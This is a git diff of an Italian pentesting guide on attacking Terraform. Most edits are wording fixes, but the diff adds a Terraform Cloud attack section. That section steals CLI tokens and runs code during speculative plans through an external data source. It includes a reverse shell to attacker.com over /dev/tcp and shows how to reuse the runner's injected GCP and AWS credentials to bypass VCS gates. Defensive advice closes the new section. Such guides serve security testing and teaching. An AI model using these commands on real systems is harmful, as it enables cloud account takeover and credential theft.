diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index e179fad2c..3ffce8864 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -32,7 +32,7 @@ Qui hai una [guida](https://learn.hashicorp.com/tutorials/terraform/install-cli)
 
 ## RCE in Terraform: avvelenamento del file di configurazione
 
-Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo qui sotto).
+Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo sottostante).
 
 Tuttavia, terraform è un **componente molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni affinché possa funzionare correttamente.
 
@@ -52,7 +52,7 @@ Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori
 
 **Utilizzando un provider esterno**
 
-Terraform offre il [`provider esterno`](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`.
+Terraform offre il [`provider` esterno](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`.
 
 Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`:
 ```javascript
@@ -75,13 +75,13 @@ version = "1.0"
 
 provider "evil" {}
 ```
-Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito il `plan`.
+Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito `plan`.
 
 Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
 
 **Utilizzando un riferimento esterno**
 
-Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un **modo più furtivo**, seguendo questi suggerimenti:
+Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo **più furtivo**, seguendo questi suggerimenti:
 
 - Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell:
 ```javascript
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
 ```
 ## Abusare dei file di stato di Terraform
 
-Nel caso tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di `git`.
+Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di `git`.
 
 ### RCE in Terraform: avvelenamento del file di configurazione
 
 È possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa falsa che fa riferimento al provider malevolo.
 
-Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e dichiarare il comando bash arbitrario che desideri eseguire nell'attributo `command`. Quando viene attivato il run di `terraform`, questo verrà letto ed eseguito sia nei passaggi `terraform plan` che `terraform apply`. Nel caso del passaggio `terraform apply`, `terraform` eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel [repository GitHub che ospita il codice sorgente per questo provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
+Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e specificare il comando bash arbitrario che desideri eseguire nell'attributo `command`. Quando viene attivato il run di `terraform`, questo verrà letto ed eseguito sia nei passaggi `terraform plan` che `terraform apply`. Nel caso del passaggio `terraform apply`, `terraform` eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel [repository GitHub che ospita il codice sorgente per questo provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
 
 Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array `resources` e personalizzare gli attributi `name` e `command`:
 ```json
@@ -182,7 +182,7 @@ Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì c
 
 ### Sostituisci il provider in blacklist
 
-Nel caso in cui ti trovi in una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
+Nel caso tu incontri una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: Utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
 ```terraform
 terraform {
 required_providers {
@@ -199,16 +199,90 @@ data "external" "example" {
 program = ["sh", "-c", "whoami"]
 }
 ```
+## Terraform Cloud speculative plan RCE e esfiltrazione delle credenziali
+
+Questo scenario sfrutta i runner di Terraform Cloud (TFC) durante i piani speculativi per pivotare nell'account cloud target.
+
+- Preconditions:
+- Rubare un token di Terraform Cloud da una macchina di sviluppo. Il CLI memorizza i token in testo semplice in `~/.terraform.d/credentials.tfrc.json`.
+- Il token deve avere accesso all'organizzazione/workspace target e almeno il permesso `plan`. Gli workspace supportati da VCS bloccano `apply` dal CLI, ma consentono comunque piani speculativi.
+
+- Scoprire le impostazioni di workspace e VCS tramite l'API TFC:
+```bash
+export TF_TOKEN=<stolen_token>
+curl -s -H "Authorization: Bearer $TF_TOKEN" \
+https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
+```
+- Attivare l'esecuzione del codice durante un piano speculativo utilizzando la fonte di dati esterna e il blocco "cloud" di Terraform Cloud per mirare allo spazio di lavoro supportato da VCS:
+```hcl
+terraform {
+cloud {
+organization = "acmecorp"
+workspaces { name = "gcp-infra-prod" }
+}
+}
+
+data "external" "exec" {
+program = ["bash", "./rsync.sh"]
+}
+```
+Esempio di rsync.sh per ottenere una reverse shell sul runner TFC:
+```bash
+#!/usr/bin/env bash
+bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
+```
+Esegui un piano speculativo per eseguire il programma sul runner effimero:
+```bash
+terraform init
+terraform plan
+```
+- Enumerare ed esfiltrare le credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali del provider tramite file e variabili d'ambiente:
+```bash
+env | grep -i gcp || true
+env | grep -i aws || true
+```
+File previsti nella directory di lavoro del runner:
+- GCP:
+- `tfc-google-application-credentials` (configurazione JSON per l'identità di lavoro)
+- `tfc-gcp-token` (token di accesso GCP a breve termine)
+- AWS:
+- `tfc-aws-shared-config` (configurazione per l'assunzione del ruolo di identità web/OIDC)
+- `tfc-aws-token` (token a breve termine; alcune organizzazioni potrebbero utilizzare chiavi statiche)
+
+- Utilizzare le credenziali a breve termine in modo separato per bypassare i gate VCS:
+
+GCP (gcloud):
+```bash
+export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
+gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
+gcloud config set project <PROJECT_ID>
+```
+AWS (AWS CLI):
+```bash
+export AWS_CONFIG_FILE=./tfc-aws-shared-config
+export AWS_PROFILE=default
+aws sts get-caller-identity
+```
+Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente utilizzando CLIs nativi, eludendo i flussi di lavoro basati su PR che bloccano `apply` tramite VCS.
+
+- Indicazioni difensive:
+- Applica il principio del minimo privilegio agli utenti/ai team e ai token TFC. Audit delle appartenenze e evita proprietari sovradimensionati.
+- Limita il permesso `plan` su spazi di lavoro sensibili supportati da VCS dove possibile.
+- Applica elenchi di autorizzazione per provider/sorgenti dati con politiche Sentinel per bloccare `data "external"` o provider sconosciuti. Vedi le indicazioni di HashiCorp sul filtraggio dei provider.
+- Preferisci OIDC/WIF rispetto a credenziali cloud statiche; tratta i runner come sensibili. Monitora le esecuzioni di piani speculativi e l'uscita inaspettata.
+- Rileva l'esfiltrazione di artefatti di credenziali `tfc-*` e invia avvisi su utilizzi sospetti di programmi `external` durante i piani.
+
+
 ## Strumenti di Audit Automatici
 
 ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
 
-Snyk offre una soluzione completa di scansione per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.
+Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e configurazioni errate in Terraform, CloudFormation, Kubernetes e altri formati IaC.
 
 - **Caratteristiche:**
 - Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità.
 - Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket).
-- Pull request per correzioni automatiche.
+- Richieste di pull per correzioni automatiche.
 - Consigli dettagliati per la remediation.
 - **Registrati:** Crea un account su [Snyk](https://snyk.io/).
 ```bash
@@ -260,7 +334,7 @@ Dalla [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analis
 - 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente
 - 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif.
 - 🛠️ Configurabile (tramite flag CLI e/o file di configurazione)
-- ⚡ Molto veloce, capace di scansionare rapidamente enormi repository
+- ⚡ Molto veloce, in grado di scansionare rapidamente enormi repository
 ```bash
 brew install tfsec
 tfsec /path/to/folder
@@ -280,7 +354,7 @@ Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è u
 - Scansionare senza problemi l'infrastruttura come codice per configurazioni errate.
 - Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura.
 - Rilevare vulnerabilità di sicurezza e violazioni di conformità.
-- Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa.
+- Mitigare i rischi prima di provisionare infrastrutture cloud native.
 - Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD.
 ```bash
 brew install terrascan
@@ -292,5 +366,13 @@ brew install terrascan
 - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
 - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
 - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
+- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
+- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
+- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
+- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
+- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
+- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
+- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
+- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
 
 {{#include ../banners/hacktricks-training.md}}